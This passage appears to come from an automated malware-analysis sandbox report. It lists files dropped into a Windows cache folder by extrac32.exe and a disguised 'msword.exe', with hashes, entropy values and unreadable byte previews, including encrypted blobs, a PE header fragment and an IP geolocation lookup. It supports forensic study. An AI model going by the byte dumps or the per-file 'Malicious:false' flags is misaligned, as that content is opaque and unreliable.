                                                                          SSDEEP:1536:bdM1aIyizRac/AX9Cslc7g63p8ueagJNvZoNoWRY6Du/FI84:ZVIyQ/o91658ueaa2PS/FIj
                                                                          MD5:990ABD973C6DDB75837EEB5B21F59AE1
                                                                          SHA1:85846C0CE7CD3314DEC32E3BED99511A59B6500A
                                                                          SHA-256:29B9FA04343B577FFB55491F820A6D1978230072AE4752AD42836CF0581CD5E2
                                                                          SHA-512:179561473340EB92A5BCAFE243217D9C8158572239294DDF45CB0FBDEF0EBAE1B07863C631CE7BFB983F65F627268300812EB38AAABCBA3CFF90F5D014C06754
                                                                          Malicious:false
                                                                          Preview:.Zhz.&..N.......B.z..si.....u...4A[.F.A.$...O..Y....]..3&M.p%.?.>Z..O.q..$X...KuS.a.C.....(J..#.f...k.c...0..o0.L..,..2k.Lc.x."........0...X...Q..Ix...Ep...y*w..1...V.~........h\pK3m ........(h..|.gp....@..:.O.K.....(...v..s.{.{..wz..].fh..j.8}}..F95..T...pX.............)j?.....%.Q"....{.#}..,dz......]d%..... .K..z#..{C.B......Z.....j{.u;..Yhl...[...T.80.y<dc.2IHG..8......1..x.....pF.%. ....f5>.CT7.}.."....<...4E.k.m.......o.....\G.y.WK[|.."}...E...../.$.......d.|..X.-^.d.F"..".W..(..<.........HQ............M!c......?*Z32.>.$.._.yR...\.-.=O.p.x...y.z.E...._.a/6..Q...3...QG..P.kQ2...FU.!$.)..ve.......N...B..j.{..`...Q.t ..;.\.J!O F.3..o1U....*.4gJ.U.N....x.I 9C3..V....Z.../..u.",.J.q..Q'l.o...h ....V>m...d..._.d...V..-.H..H..Pw....M...b.-9...cgV.b..._...D.a....x.V....y^..Yaq...#......-"q....0v7.dB....T.!.........d,.)u.....Y...P^.p....]sX.(."..A.ky1..SFK..G..G^.p..#.8c.q.....~....{.d..b......l..o...Q......l..G.g.t9}....Q....`...KX.

                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Constitute

                                                                          Download File
                                                                          Process:C:\Windows\SysWOW64\extrac32.exe
                                                                          File Type:data
                                                                          Category:dropped
                                                                          Size (bytes):144384
                                                                          Entropy (8bit):6.494296209067955
                                                                          Encrypted:false
                                                                          SSDEEP:3072:5dgQa8Bp/LxyA3laW2UDQWf05mjccBiqXvpgF4qv+32eOyKODOSpQw:LgQaE/loUDtf0accB3gBmmLsiS+w
                                                                          MD5:57BB8B206C43DDE57D7066A4DEDB272C
                                                                          SHA1:E3B400206A6D3C7C5885CB56BFCAB82220BB110A
                                                                          SHA-256:821735E47ECA9D213B65D12878DCA3D3EC620B5FE0555F0BD3B73EEE459A6D4F
                                                                          SHA-512:C5E0C68E27CFC9705178C261FC617EAC27D745CDF93F88D01A49D3025AD7025038FB8DB5FA36D96089D4410BB965E9163282A99A0D6EAE40ED6783AF6C5BD074
                                                                          Malicious:false
                                                                          Preview:..F...................E....;E...MN..;...EN.........H......T...$.P*A........x...........U...E.....M...E.....;E...NK..;...FK.........[.......v.......[..h.........O.......W....O...............................O...7...........%....v..0...Hj....~.............F..F.@....#O........3.F...............Q.w....N.....E...M....Q.6P.s....M...............G..X........[............S........S............S........R.......w....R........R.......d............v..........R...7...........F............_^3.[..]........BN.......W...<N...........=.....................2.....F........H..........$.x*A....c.......Z...;...|....N......u........P..................S.......*A..$..*A......V.......1....7........u...S...l....q...........h....$..*A....N...V...]....M...H..........$..*A.....f...s..].....f...C.j..v..6.p..0.j.......................................+..M......+....M..E....u....;...AJ..;...9J...}....T......Vf...v....Lf...C.j..v..6.p..0........'........Q......F..........Q......F.........

                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\David

                                                                          Download File
                                                                          Process:C:\Users\user\AppData\Local\Temp\msword\msword.exe
                                                                          File Type:data
                                                                          Category:dropped
                                                                          Size (bytes):56320
                                                                          Entropy (8bit):7.996610067500435
                                                                          Encrypted:true
                                                                          SSDEEP:1536:Uq7NUVrVpkmRwRjr3psvmpMfmPO6rpciGjMzjM:UKNUVrkRRGm1PO6mj4M
                                                                          MD5:583A66DF71B30CE556F3F5131162AA1C
                                                                          SHA1:0594EF5DF9510410B520282D9C833D604969865A
                                                                          SHA-256:83A055C80F22D870C163A6ABC49664C8A9F8D14CB9CDB11DFBCB70AD72191D4C
                                                                          SHA-512:3939472BA5061896D4F8E0F1F97ED34B52D32F5D27DA41FC5C92EF73653482102349AF607F327B15B13FD208C970B95DBB3B714332FF1D58CFDFF25C0C1C4C3A
                                                                          Malicious:false
                                                                          Preview:J.....9.b......h....=<.5}.^U....}./.L.k6nz....Q..7z3.c..... 2..b8..c.a...C.....2y.(.0..-...S....8....o,.T*.&.c..G. .....q.B..Sf..........M....m.A|..S.N.:....?0R*....$*:...........q.q.!.F....T..h.....d.s...fR.+\1.[+o.;u..u..{g<.......4.f..w..-..._.Q....yT.<L..h.G.j...._@.9c;sT.....<...-k.1..NW....1q..?.KZ...u.........{?....?..pl.-...|..O,f)q.oZ.=....G..2..5,q.\.......H%..+......N..Z...h.......t.{.m..6.d....3.Y..9........w...e.\";.;.!...S..[...........t.;..Ek.c_`....+."...Q._?[.1 ..d...]....6..Y.v.qh...Ss!...v.$..H........f.....?.a*.\..R.-.w....b.1..g..yJL...)...A*J.>JYl:.[m....{^...<.G..M.4A.W...J..yd.Y..s....V..V.p..d...r..`....p..S.@.p..c.M....."D~.J.C.].R...j......*J..F.o.s#...Nq..V...`..t/........v.p2B.Z*6....=.A...4S,...R.e...F.6..e.Q.y.>..O...e.%..~....tj....|.e.$.j9%.[[..x9w.G..g.`.....^.p.I.f......k.4....%..9....nnz...3_fy..|..a..@6.C.,.P.....V...d..P..Fn.. ...B....Zs....inB<...&..5c....B...w)S.....E@2..%....b.l-.l

                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Different

                                                                          Download File
                                                                          Process:C:\Windows\SysWOW64\extrac32.exe
                                                                          File Type:data
                                                                          Category:dropped
                                                                          Size (bytes):70656
                                                                          Entropy (8bit):6.548010857173451
                                                                          Encrypted:false
                                                                          SSDEEP:1536:V1/AD1EsdzVXnP94SGGLpRB6M28eFvMVpYhWoXElJUzdz:VZg5PXPeiR6MKkjGWoUlJU5
                                                                          MD5:56BB83409EE3E1A9DDF64E5364CBAAF6
                                                                          SHA1:C3DA7B105A8C389BE6381804CB96BB0461476E39
                                                                          SHA-256:D76B1AAACC225CD854E0EC33C5268C02824EE4A1120B5217916C24D23E249696
                                                                          SHA-512:59D1D8C1C613F89CBAA8B5C242CEA4889BA8F8B423D66598C5ED3A26FD82752A9CA0742C1ED932B3A1FBEDB5B8701AB6321C35E9DDE5A801625350CFF7990AC6
                                                                          Malicious:false
                                                                          Preview:U....SVW.}.....e....E..E..w..E..E.E.E............v..G..H..z....E....v..G..H..g....E....v..O..I..T....E...v..O..I..A....E...v..O..I.......E...v..O..I.......E..O..1...?}...u..N..u..u..u..u..u..u..1........p.....u.........F.....3._..^[....U..V.u.3.W.~....p....N.j.j.P..j.j....Pj......u..........>3._.F.....^]...SV..3.Wj._.N...N(...^..^..~..^..^..^ .^$.4......f.^8.Nl.F:..^<.^@.FL.FP.FT.FX.F\.F`.Fd.....j....................F|U............[............u......3........................l.....p.....t.....x.....|...........................f.............................................................._......^[.U..SV..j.[.F.9F.u0...j.X;.sF3.F...W.......Q......~....Y.......~._S.....Y.M......V..N.....F.^[]......U..QQ.}..........L)M....tv.}.........@)M.3.VW.}.B....U..0...E............}..t .M.......~L........E.j.P.FL......E....u..E ...u..~8...q....._^....3....FP..FT..U...u...(M..K...P.....j.j.j..u...x.I.]...U..Q.@)M.V.u.Wj.....8W.z...............d)M.j.Z.U.;........T)M.....0........

                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Dressing

                                                                          Download File
                                                                          Process:C:\Windows\SysWOW64\extrac32.exe
                                                                          File Type:data
                                                                          Category:dropped
                                                                          Size (bytes):137216
                                                                          Entropy (8bit):6.481339286025911
                                                                          Encrypted:false
                                                                          SSDEEP:3072:npIbv18mLthfhnueoMmOqDoioO5bLezW9FfTut/Dde6u640ewy4Za9coRC2jfTqI:IphfhnvO5bLezWWt/Dd314V14ZgP08
                                                                          MD5:1CB233987779B587705687B7D8F66A01
                                                                          SHA1:5F33D543C24701D370072BB4E77E4A8D058AE035
                                                                          SHA-256:48A4A6FD51F6F62D3E814BCF14891ACE7D7813C90BE50D6B133FBEFF21B9E137
                                                                          SHA-512:56DF98EC38109FB121D69D84140EFFC81F0EEF25BFB48C25D23EF5C45C274A5DC4015DBFDB63616530F804896B9F19788AAE60BFCCBC43292F113E2EC82350F6
                                                                          Malicious:false
                                                                          Preview:.j.....I......u0..$.I....Q..|....L..t..I8.A..|....D..t..@8.@...j..E.PW....I....u:..$.I....Q..|....L..t..I8.A..|....D..t..@8W.@....(.I..X....u.W....I...t8..$.I....Q..|....L..t..I8.A..|....D..t..@8W.@....(.I.....u.........F......>_^3.[....U...$VW...M..&....E..@..0....p...N..U.......u.....I...u=..$.I....Q..|:...L:.t..I8.A..|:...D:.t..@8.M.h..I..@....M...L.@.j..0.E.P.L.......u.....I.P.M......M.......U.M.......M..E.P.\...M.......M......_3.^....U...0...SVW.}...G........W...]..J......M...h..I..9M.....u....H..|1...D1.t..@8.H...|1...D1.t..@8.@...!...j...t...........PS.............G.P.V...YP.M...#...].j.WS.u.....I..............tw.E..x..r..@..H..+.....uIS..;..q..Y;.u:S.M...#...M......U.M.......M..E.P.}[...M......M......V.M.WSW....P.........@..j.j..H....[......$.I....I..|1...T1.t..R8.B..|1...D1.t..@8.@...E..(.u.j.P.(...S.i......_^3.[....U..SV.u...W.F....Q....V....J.......N...I..o...j.PRW....I..u......3....F........u3.&...$.I....I..|....T..t..R8.B..|....D..t..@8.@.....>_^3.[]...U

                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\json[1].json

                                                                          Download File
                                                                          Process:C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com
                                                                          File Type:JSON data
                                                                          Category:dropped
                                                                          Size (bytes):963
                                                                          Entropy (8bit):5.019205124979377
                                                                          Encrypted:false
                                                                          SSDEEP:12:tkluWJmnd6UGkMyGWKyGXPVGArwY307f7aZHI7GZArpv/mOAaNO+ao9W7iN5zzkk:qlupdVauKyGX85jvXhNlT3/7AcV9Wro
                                                                          MD5:B62617530A8532F9AECAA939B6AB93BB
                                                                          SHA1:E4DE9E9838052597EB2A5B363654C737BA1E6A66
                                                                          SHA-256:508F952EF83C41861ECD44FB821F7BB73535BFF89F54D54C3549127DCA004E70
                                                                          SHA-512:A0B385593B721313130CF14182F3B6EE5FF29D2A36FED99139FA2EE838002DFEEC83285DEDEAE437A53D053FCC631AEAD001D3E804386211BBA2F174134EA70D
                                                                          Malicious:false
                                                                          Preview:{. "geoplugin_request":"8.46.123.189",. "geoplugin_status":200,. "geoplugin_delay":"2ms",. "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.",. "geoplugin_city":"New York",. "geoplugin_region":"New York",. "geoplugin_regionCode":"NY",. "geoplugin_regionName":"New York",. "geoplugin_areaCode":"",. "geoplugin_dmaCode":"501",. "geoplugin_countryCode":"US",. "geoplugin_countryName":"United States",. "geoplugin_inEU":0,. "geoplugin_euVATrate":false,. "geoplugin_continentCode":"NA",. "geoplugin_continentName":"North America",. "geoplugin_latitude":"40.7123",. "geoplugin_longitude":"-74.0068",. "geoplugin_locationAccuracyRadius":"20",. "geoplugin_timezone":"America\/New_York",. "geoplugin_currencyCode":"USD",. "geoplugin_currencySymbol":"$",. "geoplugin_currencySymbol_UTF8":"$",. "geoplugin_currencyConverter":0.}

                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Indonesia

                                                                          Download File
                                                                          Process:C:\Windows\SysWOW64\extrac32.exe
                                                                          File Type:data
                                                                          Category:dropped
                                                                          Size (bytes):74752
                                                                          Entropy (8bit):6.557400918137722
                                                                          Encrypted:false
                                                                          SSDEEP:1536:D7nts/M26N7oKzYkBvRmLORuCYm9PrpmESvn+pqFqaynBk:nt8T6pUkBJR8CThpmESv+AqVnBk
                                                                          MD5:15BE985957A02EE4B7D96A3C52FF0016
                                                                          SHA1:B3819CED551350AFD965B7CA5D7CF91AE5C1A83C
                                                                          SHA-256:E223F63B343F2BB15155825BA679F91FCAF2DB9E359988B7ABD24202EBEC2AFF
                                                                          SHA-512:9A56A0EBAA86F59F56F92937AA724FC1BFD1DBFFDE430E9D86598C94D8ED958ABA82021AEC758A22786746F807DCEBE99974EFF6975EFE8EFD68CBFBC85D030C
                                                                          Malicious:false
                                                                          Preview:.tM...u.S..S..Y.x.3.PPPPWSPP....I..E...t';.}...VP.u...Y..3.PP.u.VWSPP....I...^..3._[..SW3...PPj.SPh........I.....t-V3.j.Z.........Q.#...YW..Vj.Sj.h........I...^_[.U..E....t....uA..3M..(.=.3M..t1.}..t+.=.3M..t...3M..H......3M..u..u..u..........2.]...U..QQ.E..e...E...y..e...E...3M.P.....u..M.........U..Q.e...=.3M..t..=.3M..t...3M..H......3M..E.P.u........t.......E...3M.P.u...............SV..3.W8^.t..N..y...t.Q.:\...~..^.8^.t......N..y...t.Q..\...~..^..._^[.U..VW......t..U..w......B..F..G...1j........E.Y.&..H..N...y..f...0..V.C....G..F..w..._^]...U....SV..M.W3..~..~..A..F...t....A..F..A..F.............3..j Z.........3...........P.$...Y..t$......E...t......|..... ...u.E.3.....F.9>~[.]...E..K..V.....M.U......Z..A..B..A..B..A..].;.].t..M.P......M.U..A.G.B..E... .E.;>|._..^[....V..N..{.....^.......U..V..W3.G.N...;.~!Hj....*...j..8.F..F......G...YY....f.E..~._f..3..f.H...^]...Vh..F..q..6j Q.a..........QV....YY..^...U..M...u.3..%.E.V.u..;.}.....t.+........t.+...^]...U..

                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Instantly

                                                                          Download File
                                                                          Process:C:\Windows\SysWOW64\extrac32.exe
                                                                          File Type:data
                                                                          Category:dropped
                                                                          Size (bytes):90112
                                                                          Entropy (8bit):6.7085176792029815
                                                                          Encrypted:false
                                                                          SSDEEP:1536:Ph+I+FrbCyI7P4Cxi8q0vQEcmFdni8yDGVFE5gOHu1CwCMIBZwneAJu7f:PAU4CE0Imbi80PtCZEz
                                                                          MD5:7FC8AB46CD562FFA0E11F3A308E63FA7
                                                                          SHA1:DD205EA501D6E04EF3217E2D6488DDB6D25F4738
                                                                          SHA-256:5F9C0A68B1C7EECA4C8DBEA2F14439980ACE94452C6C2A9D7793A09687A06D32
                                                                          SHA-512:25EF22E2B3D27198C37E22DFCD783EE5309195E347C3CC44E23E5C1D4CB58442F9BF7930E810BE0E5A93DD6F28797C4F366861A0188B5902C7E062D11191599C
                                                                          Malicious:false
                                                                          Preview:.F..E.9E.rf.}..u,j.Xj.f.E.E.Pj..E.P.u.....I...t8.}..r:.F..F.;}........).U.......M..D.......M..L.-..F.....0.I....M..._^3.[.....]..U..QSV.u.3.W.}....F..F..E...E.;.s?...S.}...Yf;.u(.F.....u.j.[S.e...Yf;.u..F..F....;}.r.....0.I..._..^[..]..U..QV.u.V.J...Y..u.2..XW....?...k.0.....M..D0(.t.......@L.......u......M..|0).u.2....E.P.....M..t0.....I......_^..]..U.............L.3.E..M........?k.0S.]......M.V.u.W.L...E..&...f...f...............e......;.s...C<.u..F....G...E.G;.......r......+.......j.PW......PQ....I...t........F.;.r.............;.r.....0.I....M..._^3.[......]..U.............L.3.E..M........?k.0S.]......M.V.u.W.L...E........3.........V..V..u......;.s+.........u..F..j.Zf.....f...E....;.......r......+.......j.P.........WPQ....I...t........F.;.r.............;.r.....0.I....M..._^3.[.......]..U.............L.3.E..M........?k.0SV.....M.3.u.W.D...M..........E......^........^.;...............P...;.s!.........u.j.Zf.....f......M.;.r.SShU.........Q..P...+...P..PSh.....

                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Led

                                                                          Download File
                                                                          Process:C:\Windows\SysWOW64\extrac32.exe
                                                                          File Type:data
                                                                          Category:dropped
                                                                          Size (bytes):147456
                                                                          Entropy (8bit):6.70232349488191
                                                                          Encrypted:false
                                                                          SSDEEP:3072:4nVIPPBxT/sZydTmRxlHS3NxrHSBRtNPnj0nEoXnmowS2u5hVOoQb:4VIPPL/sZ7HS3zcNPj0nEo3tb2D
                                                                          MD5:C038EEFE422386831ACF8D9D6898D464
                                                                          SHA1:9CF7F3E9A50218D5E03617B793EAE447645E6A90
                                                                          SHA-256:1432A3A16C1D41EBB71D0A5CC03ED80A93817E6295B82FC63A1EC39D9320C701
                                                                          SHA-512:8327453C75ECC04DB02A6C1DC38B38EB486F4D773E2025097E4D6B6F8E78655A25B7FA3528E2E66381EF80175182F7C1B89A7E8DD63A655D8ECEF5AB1DDE5EA1
                                                                          Malicious:false
                                                                          Preview:J..........t.......u5.u../ ..w.tk........)w......E..$...E..._ ..tJ...0..tB..3............L.........E.,K.......K..<. cL.....;M...d....E....E.}....R....M.@.E.;............}..E..............;~|.............}....}.t...%....=....u .......................}.................L.............M.,K.......K.... cL....t....t..._t.3........;E........E.M.@.E.;...X.........}..E..............;~|.............}...}..M.t3...M.%....=....u"............%...............}..M.E....@.K....@.K.9U.r..@.;.t'..;.s.}.........E.M.@.E.;...s....<....}..........}..E..............;~|..%..........}....}.t...%....=....u .............................}...$t&..@t!..`t.......r.......v.......s.3........;E...9....E.M.@.E.;...m.................}..E..........]....F|.E.;...l..........}....}...E.t6.E..%....=....u%......................}.....E.......U.............L.........E.,K.......K..F|.M.;..........E.}..........t-..%....=....u...G.......%....................U.............L.........E.,K.......K............1L

                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Leisure

                                                                          Download File
                                                                          Process:C:\Users\user\AppData\Local\Temp\msword\msword.exe
                                                                          File Type:OpenPGP Secret Key
                                                                          Category:dropped
                                                                          Size (bytes):61440
                                                                          Entropy (8bit):7.997097243867807
                                                                          Encrypted:true
                                                                          SSDEEP:1536:7aUiJuOem/qCP8QNYVGuid4T3D91PkL2qW4zV2G4Jb:Ccm/qCP8kYuCB1bT4zV2rt
                                                                          MD5:838511D6727BE6237C1E4CD26A0885DE
                                                                          SHA1:7A9FFA35532A5817F04CB48C9E154B5C9DE74623
                                                                          SHA-256:D36E240FA73FFB483BBCEC5593B95B924D219EE1A95E6541E0CC3FEE0FD5ECB7
                                                                          SHA-512:AC880DA501150B974DF9B42AEF6A63346B6B5036A893A09FDD05D0FECB9FC655D3E76D19EF5DB48DFD54457D5FC514499526F476F595972E970ED9953842C029
                                                                          Malicious:false
                                                                          Preview:.~. ....)........5a.<......E.Ft.q/.....0....U.......d...l..4MQnM.o.`.bL.*.s./.<;.l..l.;aG._-.0.."/B.6G/....E!........R.C>N.%...D..y2...z.!....z...i......eT....3....e.z;..1........,..65..I b0n.U....B.#<.5..Q=U..%.%.7a[.|....`..o-s....QW%....bx.^.....5..<.[p.i.(&y...m.H..qS:.*pR.....!..P...o.].]o./..Yb0.H8?A.....V.n.1...%.>..'.......j:<;.?._....u.o..5..g]S.nT...J.K<&..yC..&xn.-..r.7..!.4\..aR."Nh+.....*....Y..'...I..(r..-..p=..vn...lA..Z7.....Y1.......'.3T.....g..p...."N....w?Y.;.......x}.........\R{........b...........H...o....%..=."....|>j.f....FA...".z.qt...}...4.q3..b...K....o...-?t0.(....~.......,.C.3#7N.....k..p......l9P.b=qo...y$=P...%s.^.....[w...%.41..X.(.(:.a......_..t=e...$.I...?.!.2..m.e.*..>.''3..L..H.... .k..4.!.p.L....u..#......\...j......GF..+..K.u.J9&........~CUw..........m.q$V..._..n..9.J{.+f...I.x.z]%~.7A*..rF`......>.w8..z.....x..>X.#5.RO.F.e.B.xpw...q^...2<.71......../c.}.........2.k.^=..Pc...~.e.m.^...s.j..Kd...._.<.7...

                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Math

                                                                          Download File
                                                                          Process:C:\Users\user\AppData\Local\Temp\msword\msword.exe
                                                                          File Type:data
                                                                          Category:dropped
                                                                          Size (bytes):76800
                                                                          Entropy (8bit):7.997538946660952
                                                                          Encrypted:true
                                                                          SSDEEP:1536:bA42RuQjUqaBXOkQHtReXxQiIjiDdmfLyiEmSZBhqjM1VOUWLAGuFIs:bAnRfjSKtIFELC5ZBhMMGuFIs
                                                                          MD5:7B5C9E82025D184E64A7413174CE1A1C
                                                                          SHA1:C552965CE73D43225541932D65C3B4B6342A70E4
                                                                          SHA-256:7A524BC28CF358088006F8F852D7AE59F5A143D8754E47FFE4A8F31533CF315E
                                                                          SHA-512:71214F0379E8104C198B16A304D593032264435DD2FE4A5383D3F39FA496D18A6B7EC770A90542028B71C7A50611313AE47234C5EA0A0FB81724557941B12EB4
                                                                          Malicious:false
                                                                          Preview:/@.......S7....S......L.<.s....0..8....v...$7.9...H..3..r.>:q.w.].B.#v...CU....\..-....,...Y..FUp.RYd...$e...O.7...9/._.J.....u>...K..8@k.......V..y.l.._.W&.Ix.-.}@tQ.~.UT.I.n.O..b..O ..]...a....fN.d..O.[.t.v...1..gt.u...$......`.Q...n;mds...'.o..s..N......NhO.p......a.k.....h.7r..w...FP.yO..2..%?.=.s.7#RA/..Y.f.......u.....JM..........:eR3.V...&..|}.F.v.m....@...=...V..%.I.vX.x .Iv....p$.+dZ...T...4...(G...ez.O..%...8$;n. ..r7.V3.!...y...t.....Yz.<.??..W...W....tg..>..*..a.d..}.N*.Jp...F.....!c.H.0,j..'#T.4:..q...Lt...n.........Kz.......G.'.)..x..g..."b.W.v\...v.`.\.V...W......~D.....0.(z.H.Y....T....}.`..<..%.Th........!....7.....A+q...?..l.MEHT.2..HW.....g.&.k........6GA.5.^...k..Tv9+k...24....t....5'.K.]..=l{.`..S.^6.<...!.Y.q.tmCYZ...........@O@.U.....qJ9.v^.`=....4aw...t..._ .U.FP..p,..[..7....F..'.\.R}6pI.$.'....Q.........../.H.....p.M9..Y..A!_..i......0.%......3xf..h5.g ......g.\Q.-1.T"...Ta.....]AC..._.2=n.3.`.r%....~.S.f

                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Measurement

                                                                          Download File
                                                                          Process:C:\Windows\SysWOW64\extrac32.exe
                                                                          File Type:data
                                                                          Category:dropped
                                                                          Size (bytes):1237
                                                                          Entropy (8bit):3.752009061763574
                                                                          Encrypted:false
                                                                          SSDEEP:12:eyGSG+fCtJfjEvadTfA43k66h1ICdC3v6clC1zgNu3NIhfnQARahmv6+VQ:eyGS9PvCA433C+sCNC1skNkvQfhSg
                                                                          MD5:47FE88841F7CEA67286B6BB812A7A09F
                                                                          SHA1:950297A08CADDC4F0FB20B0D84539DE2B8DA36E1
                                                                          SHA-256:33F5D8B8FB7CD67BB7C1805CE89BFC16C9F4BBFC0342D31C9946511FDC4B115C
                                                                          SHA-512:C200196C26738DFA7013356656D281284928E256E423B11F679A71C3F8E75F04927474CC4AF853C2FE351F6051B084A902FD03D3106E14062634251EECFFF73F
                                                                          Malicious:false
                                                                          Preview:Korea........................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L......b.........."...............................@..................................k....@...@.......@.........................|....P..h............N..X&...0..tv...........................C..........@............................................text............................... ..`.rdata..............................@..@.data....p.......H..................@....rsrc...h....P......................@..@.reloc..tv...0...x..................@..B...........................................................................................................................................................................................................................................................................

                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Missed

                                                                          Download File
                                                                          Process:C:\Windows\SysWOW64\extrac32.exe
                                                                          File Type:data
                                                                          Category:dropped
                                                                          Size (bytes):70656
                                                                          Entropy (8bit):5.9158452815608795
                                                                          Encrypted:false
                                                                          SSDEEP:1536:qHsWccd0vtmgMbFuz08QuklMBNIimuzaAwus5:qLeAg0Fuz08XvBNbjaAts5
                                                                          MD5:E6FE42ADC3082D12E845756426492B6E
                                                                          SHA1:E1170EE049AB607162D1495B625AA74221AA8585
                                                                          SHA-256:BFEA812CBDAFE08DF94D9C13CC6364F3BE76793E4676488338A17E2866BF8DFD
                                                                          SHA-512:9E994CDCAF75089D9468BCC367FD9717F8F2F1FE10B181F0616C712A5674CACC7601421B72B1E50336F222CAAB392F09DB984C4671F5CAB8C1519102F4E4D6EC
                                                                          Malicious:false
                                                                          Preview:...?5.h!.....?.......?.......@.........................?..5.h!....>@...............................@................c.c.s...U.T.F.-.8...U.T.F.-.1.6.L.E.U.N.I.C.O.D.E.................................................................................8C......8C......0<......0<..+eG.W@..+eG.W@....B..?....B..?:;.....=:;.....=...t..?Z.fUUU.?...&WU.?{......?.......?.........9..B..@...2b....................................0<..0<.dW..dW................................@.......................................B.......B.................8..B..?0g.W..=.......................................?.......?......................0C......0C................................U....I.?.. ....u}.M.U..UUUUU.?Sz.....?........................................-DT.!.?.-DT.!..RUUUUU.?........v.F.$I.?.........3Y.E.?#Y...q...n.....?..;.9....../I.?hK.........d...?81.U.......H!G.?..#.$.....0|.f?.K.RVn...TUUUU.?........~I..$I.?.g......HB.;E.?.....q.....{.?.x...................................?...... @...... @.......?

                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Next

                                                                          Download File
                                                                          Process:C:\Users\user\AppData\Local\Temp\msword\msword.exe
                                                                          File Type:data
                                                                          Category:dropped
                                                                          Size (bytes):98304
                                                                          Entropy (8bit):7.9979666143694095
                                                                          Encrypted:true
                                                                          SSDEEP:1536:WdRAC50xWY7+r0weiORc8vTDzcvmgmQj21JVWAQfqB+ILeLBuQi2FUqAqT3Y4+/u:GvY7+rJenS8vTvcvHj2zVWxfq5Uu5pqn
                                                                          MD5:52C875EB8A3EBC4643094465CDBB08D0
                                                                          SHA1:013139AD7BBE0E2522CCC69EE890E63D8CA3FF3C
                                                                          SHA-256:A363E5C9DD6872D625FDF1A6E957D0E08B4605E97D8130B0175A6889BE5196EC
                                                                          SHA-512:97A6489038FF72109EA847A94C55DB9798F165E3D570F8677C6139C930DC67420BA783BE2F3939B74676C673D6AAA7EF2CAB107DBF7908A5CE228916FCDAAB0B
                                                                          Malicious:false
                                                                          Preview:....].Z...%.o....."7.;?..F.....x..=.[......F..&.P.P.f.1.xi$!..H..9..d$...E<.....t.3...........adW2.P.),CG.!f9.x:.."l..C'.......i.......;R........7...m.`..X.mH..T..].Te..c6...........E..u....8..k.#.ac...)..E.N:....B.NX..l..e.."...ytLW.;T.b./w...1TI)..<z."LH%+....R...N..v2...A.s...~.&=..4.....p..,.[v..#..F..-..._.. G,......HA.X.T...U.O[..J...h|...qX.....i.[a+X........Z..Q..........'Y...J."..:........W.m...e..+....?8/.z.._.....*....,.N....r.V/Q..N.z14.9....I..B... .S.7...."...'AC..)........Y.]^%r.TPd..k...'b..d.B.:.3.tX4..o%.p ...wNG2^/..i.>..E...^m...|X...RY.BI.q0.......Kdz.....-.l..b....].y..'..j.C...>...>0.0.[.!.xSk..;7V.......%.O..P...C...'O.sjT..,.S..'-.f..t6.'s.N.Z.^.{|.8.L.o;,.V...vC...B.p.X(T%..q..T..z....*......M.2.....?.MF.........sJ...8.....fp.\....^......."...6 ..Mw... k..v-.....B..$....E.ndEc...."...%...Swiltb....R.....^M../.........@6$c}.K..gp.R.O....s..E.$.d...r;....k.gdK2.(IG[.*.I...?.v.tfJ..9....+..*J.....g.....g.WK.....\

                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Nr

                                                                          Download File
                                                                          Process:C:\Users\user\AppData\Local\Temp\msword\msword.exe
                                                                          File Type:ASCII text, with very long lines (975), with CRLF line terminators
                                                                          Category:dropped
                                                                          Size (bytes):23449
                                                                          Entropy (8bit):5.134148367041093
                                                                          Encrypted:false
                                                                          SSDEEP:384:b5EawfiYUKjpwVHqyl4PS5Riya68+DsfBL6pbHuwBl60YuyoVDKK3utLK5u+u0EC:bGawfr9Yxbriya68+YQZHuoE0Yxo73e+
                                                                          MD5:9EF6EFA272560F1DEE8923508DAFE2C9
                                                                          SHA1:7E6572FA616E8FE8AB67D2518F8685EB01F46923
                                                                          SHA-256:3B887BAB036D30A1A4FB5C2C6B828F5EF3D8D5C1FF8D4147ED647ACB51AC808A
                                                                          SHA-512:D17464F391FFC0CDB60D5A5669779343C4363130BC31E3902512ECEB5A139454992C00D1D8A9AA5D0BF142B904059E5F90A8804A1D2406FF398D893EA5804CF4
                                                                          Malicious:false
